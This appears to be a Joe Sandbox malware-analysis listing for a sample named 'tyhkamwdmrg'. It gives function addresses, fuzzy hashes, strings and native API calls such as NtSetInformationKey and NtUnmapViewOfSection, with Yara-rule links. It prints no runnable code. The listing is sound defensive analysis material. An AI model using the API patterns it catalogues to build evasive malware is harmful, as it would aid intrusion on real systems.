Opcode Fuzzy Hash: a00b10887e794a70bc4aca600adab10e9d8059370f42598a1567dde2c777ea38
Instruction Fuzzy Hash: 12E08CA15041147ED610568AFC0CDE7BF6DCBC27B1F04812DF5089210096B0AD40C2F9

Function 0039BFB4 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQueryKey.NTDLL(?,?,?,?,?), ref: 0039BFDB

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: Query
String ID:
API String ID: 3850148591-0
Opcode ID: ac2f501d9672722a7788ce64706a99acd2301c78692eba92e1d1c4997603bcc9
Instruction ID: 34360233076b012801e18b29635b247aa307cb3413e70d3cfa7c4b3448ef0537
Opcode Fuzzy Hash: ac2f501d9672722a7788ce64706a99acd2301c78692eba92e1d1c4997603bcc9
Instruction Fuzzy Hash: 55E086710041147AD7105B47AC0CDA77F2CDBC6BB0B04411EF40592100E7616C40C6B1

Function 002F66F0 Relevance: 1.5, Strings: 1, Instructions: 274COMMON

Download Yara Rule

Strings

,, xrefs: 002F6863

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 99b0cd13484d9047ac801433a8cfe2ee7526a6f1648a774130e0186a9fe7349b
Instruction ID: d5a2d67b23f36a3e3cb1363174432bc41cc59ae0f0f1851614fd0158cdde4c58
Opcode Fuzzy Hash: 99b0cd13484d9047ac801433a8cfe2ee7526a6f1648a774130e0186a9fe7349b
Instruction Fuzzy Hash: 36B149701083859FD324DF28C89462BFBE0AFA9744F448E2DF5D997342D671EA18CB96

Function 0039C27C Relevance: 1.5, APIs: 1, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

NtSetInformationKey.NTDLL(?,?,?,?), ref: 0039C29D

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: Information
String ID:
API String ID: 2951059284-0
Opcode ID: 6fe8c0b122dc8fe64977b7f12f519da3a04934888961db71feb176c8a2654cac
Instruction ID: bbd31977aa2533896fb18847ff91c4dc8abb2142f43a97d5cb74ae06231a4a89
Opcode Fuzzy Hash: 6fe8c0b122dc8fe64977b7f12f519da3a04934888961db71feb176c8a2654cac
Instruction Fuzzy Hash: CBD05EE14262247EEA015399EC0DEB77F5CCB893A0B008629F04A92142EAA06C40C6F9

Function 0039BD60 Relevance: 1.5, APIs: 1, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

NtOpenKeyEx.NTDLL(?,?,?,?), ref: 0039BD81

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a14d0bb1bc6961c03c20d6ad2baca78a973a2f4bcb73d978130cfe8b9b15f91b
Instruction ID: f185cf346c8c2cbf4e287e7861d8b5374d626e38a10464e4e4fa7f6b8b2c02b1
Opcode Fuzzy Hash: a14d0bb1bc6961c03c20d6ad2baca78a973a2f4bcb73d978130cfe8b9b15f91b
Instruction Fuzzy Hash: 8CD05EE15001547EEB116799AD0CEF37F5CCB853A2F544229F10492011EBA06D40D2B5

Function 0039BF54 Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtOpenKey.NTDLL(?,?,?), ref: 0039BF6B

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 51d3c23650663bef1769f931073fa87b2b35ea57ecf8856d5dc25e7e0debe36d
Instruction ID: 206e67608e48bdafde9527c2e6ed9182c223c2c5e32ca25fa6b2935bfda0810c
Opcode Fuzzy Hash: 51d3c23650663bef1769f931073fa87b2b35ea57ecf8856d5dc25e7e0debe36d
Instruction Fuzzy Hash: 5DC012C0800200BDEE0653689C0DF36171D83C0B02F00825CB800C0260FAA50880823A

Function 0039C2C4 Relevance: 1.5, APIs: 1, Instructions: 11nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(?,00000000), ref: 0039C2D9

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: da26b01052bb0ecdb2191123f6015643b8a0f3fa75ea26e95e0ad1867d583167
Instruction ID: bf8b4ec736e902fa7ca2b1f3cea1fbe33aeb134a9719435fe3aa955eab871ffd
Opcode Fuzzy Hash: da26b01052bb0ecdb2191123f6015643b8a0f3fa75ea26e95e0ad1867d583167
Instruction Fuzzy Hash: 0BC04CD054014079EE5553A85D1CB76265C87C0F01F04855CB594D1655EF598880D32A

Function 0039C53C Relevance: 1.5, APIs: 1, Instructions: 11nativeCOMMON

Download Yara Rule

APIs

NtUnmapViewOfSection.NTDLL(00000000), ref: 0039C551

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: f6a487243d9e593975d157838ca06ead95a88db2743c8b11b42afb78569aed3f
Instruction ID: b3cbe1203dddd5194231dec79f5da311019c9d47740fd47681839e26dfe69fe4
Opcode Fuzzy Hash: f6a487243d9e593975d157838ca06ead95a88db2743c8b11b42afb78569aed3f
Instruction Fuzzy Hash: 4EC04CD090014069EE01936D5C1CBB6276D87C2701F05829CB010D1064DE645A41922A

Function 00384FF0 Relevance: 1.5, Strings: 1, Instructions: 259COMMON

Download Yara Rule

Strings

Rijndael: Invalid key size - %d, xrefs: 0038503F

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: Rijndael: Invalid key size - %d
API String ID: 0-1845578026
Opcode ID: f7425d0436027b79c61010cf2714df2d361353b12ccc2038b869d9435ceebd38
Instruction ID: 832d24106e2384c35cd8bc2d14bd95e03351c2aafb4afbf3c67a46f220de09df
Opcode Fuzzy Hash: f7425d0436027b79c61010cf2714df2d361353b12ccc2038b869d9435ceebd38
Instruction Fuzzy Hash: 8DB18934A0568A9FDF12DFA8C5806EEBBF1FF49300F6644E9D855EB202D331AA15CB51

Function 00442434 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

lSC, xrefs: 00442437

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: lSC
API String ID: 0-3234854379
Opcode ID: 3e3dbd13c0ac628a78deb6db6e106b14481e692b3965cdc74e4f38b96cc7a9e2
Instruction ID: 72794b90ebb40095f213afa4d22adaea610d18ea83ebf2b00e35810472d958b2
Opcode Fuzzy Hash: 3e3dbd13c0ac628a78deb6db6e106b14481e692b3965cdc74e4f38b96cc7a9e2
Instruction Fuzzy Hash: 5CB16EB16042008FE74CCF19D489B45BBE1BF49318F1680AAD9098F3A7D7BAD985CF95

Function 0031FF40 Relevance: 1.5, Strings: 1, Instructions: 233COMMON

Download Yara Rule

Strings

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 00320163

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
API String ID: 0-442858466
Opcode ID: e708b6f40e5d3c4c7d4e8c44c7ba0b7f22758722cf2f3fdc2b1b5411cdffb500
Instruction ID: b25c35dc3675e0d42bbf1c06eb3f6ac53438f557a59bc36bfacc721d272c9b82
Opcode Fuzzy Hash: e708b6f40e5d3c4c7d4e8c44c7ba0b7f22758722cf2f3fdc2b1b5411cdffb500
Instruction Fuzzy Hash: 12716B3B6486E04BD32E893C6CA13BABA970B97334F2D876DD5F1CB3E2D55548098341

Function 0031BA8B Relevance: 1.4, Strings: 1, Instructions: 198COMMON

Download Yara Rule

Strings

W#52, xrefs: 0031BAA5

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: W#52
API String ID: 0-661881736
Opcode ID: 4172aea1edd4f999cd1bcbb8468c2ac8077aaeff9b9282a39c9b60ae3ed389fd
Instruction ID: 09cdbb044bc520c56f60dfc885f8adfb33b213ea8170f158a8b1bd7724c492b0
Opcode Fuzzy Hash: 4172aea1edd4f999cd1bcbb8468c2ac8077aaeff9b9282a39c9b60ae3ed389fd
Instruction Fuzzy Hash: A0412575608B804AD73ECF35C4A07B3BFE19B5B304B48859DC0D39BA8ACB399109C755

Function 003FA264 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

f, xrefs: 003FA338

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: 43c8a9ce98a5b88c47433c408d32332c251e00b6331d9af82a1a4d221223cf7c
Instruction ID: fb02ccf9376f3f573554b314448fb6c8d1aa827ddab8d20ba29f15150de81b71
Opcode Fuzzy Hash: 43c8a9ce98a5b88c47433c408d32332c251e00b6331d9af82a1a4d221223cf7c
Instruction Fuzzy Hash: 7861E864D48AEE9FDF138EA94480BBEBFA69F11300F1A01F58D9C57343D6A54E058762

Function 003FA600 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

f, xrefs: 003FA6D4

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: 9bc1a4632e471c5e71fa533c899fc85fdc8078a2d15336c46c3c88dcca96ea40
Instruction ID: 3c5890cba3d5438e101803ad176f9fcb61ed61bf905f6335196ac81a5ed6a270
Opcode Fuzzy Hash: 9bc1a4632e471c5e71fa533c899fc85fdc8078a2d15336c46c3c88dcca96ea40
Instruction Fuzzy Hash: 5B61F5A4D44AEE8ADB139EF84440FBEBFB69F05344F1940F4CD9C57243D5654E0A8B62

Function 003FAA40 Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

f, xrefs: 003FAB14

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: c87d14bf5a803bcb1b7bb8bbb7520209d56321abc7ff856c0d1042b643b48c4d
Instruction ID: bd6f577bab8ce67cd29c3e1c532965dc55d087ca055f6db5d3c70a143389b964
Opcode Fuzzy Hash: c87d14bf5a803bcb1b7bb8bbb7520209d56321abc7ff856c0d1042b643b48c4d
Instruction Fuzzy Hash: DE61F3A0D48AEE8BDF139EA84450BBEBFB69F15300F1A41F4CD9C97243D2614E49C762

Function 003F9268 Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

AuthenticAMD, xrefs: 003F932C

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: AuthenticAMD
API String ID: 0-1824591176
Opcode ID: 98f9d5619ea3d7654e7ce088aec668886a1929f0dba2b53c5f9596fdacdbfcd0
Instruction ID: 28198515a1b8b6094329a2c2f465f2d827122d18adc85d02b113c54a4159d79a
Opcode Fuzzy Hash: 98f9d5619ea3d7654e7ce088aec668886a1929f0dba2b53c5f9596fdacdbfcd0
Instruction Fuzzy Hash: 824180B5A04A0EABD70ADF59C441398F7A1FF88304F51C62AE618DB782D738E911CB90

Function 00329A80 Relevance: 1.4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

&%$#, xrefs: 00329AF5

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: &%$#
API String ID: 0-3373546273
Opcode ID: 4c0c259ed6031f82b959fb15e0fada6bdc0c400efc13103bf4b0b2a502d1402d
Instruction ID: 68ecf93dd34e44e6fd864669eb706dfb948f4c432f4ed505b43fa6325d774e71
Opcode Fuzzy Hash: 4c0c259ed6031f82b959fb15e0fada6bdc0c400efc13103bf4b0b2a502d1402d
Instruction Fuzzy Hash: 2921F2305093209FDB12CF24E899B5BFBE8EB86314F15CA1EE4889B251C375D885CB96

Function 0030B72D Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

F, xrefs: 0030B77D

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-897315278
Opcode ID: 9f20862aff61cf5657ed802490577310d8faa6cc933bd318e2bb0ebbc2f5fd90
Instruction ID: 0aeff8994f9cf1c9975bc1b38f06fac3f96ecdac8237aacd02ca5ee0fc9aa1bb
Opcode Fuzzy Hash: 9f20862aff61cf5657ed802490577310d8faa6cc933bd318e2bb0ebbc2f5fd90
Instruction Fuzzy Hash: 01216A3260A2805BD3268E3988917BBFFD29FD7711F29556DF0E5872C2D77484068B51

Function 00329E70 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

&%$#, xrefs: 00329E95

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID: &%$#
API String ID: 2994545307-3373546273
Opcode ID: fbd4566ea439a6aab9b415043655dad386a90232239c9bc63a1f7438b35362eb
Instruction ID: bcabf7aa24c88739863b5e9c04aa1af30d8fd8382d0b6fbb8e8502433a3d541a
Opcode Fuzzy Hash: fbd4566ea439a6aab9b415043655dad386a90232239c9bc63a1f7438b35362eb
Instruction Fuzzy Hash: 39112331608304AFD312DB65AC82A27F7AAEBC5328F05CA29E09453121E6729815C761

Function 00329BA0 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

&%$#, xrefs: 00329BC5

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID: &%$#
API String ID: 2994545307-3373546273
Opcode ID: f49f7f597500cafe9cbf79caefee4a5d3f379982fbcbed6bfda6f6899b3a3846
Instruction ID: 006ac9217acd163475c5dae01245d588dd42c8d96827a9cb82ed2865d16b8e4d
Opcode Fuzzy Hash: f49f7f597500cafe9cbf79caefee4a5d3f379982fbcbed6bfda6f6899b3a3846
Instruction Fuzzy Hash: 100168307082209BE7268A24ADC273BB3B6EBC2310F1EC62EE4800B256C270CC4083A1

Function 0044913C Relevance: .7, Instructions: 681COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

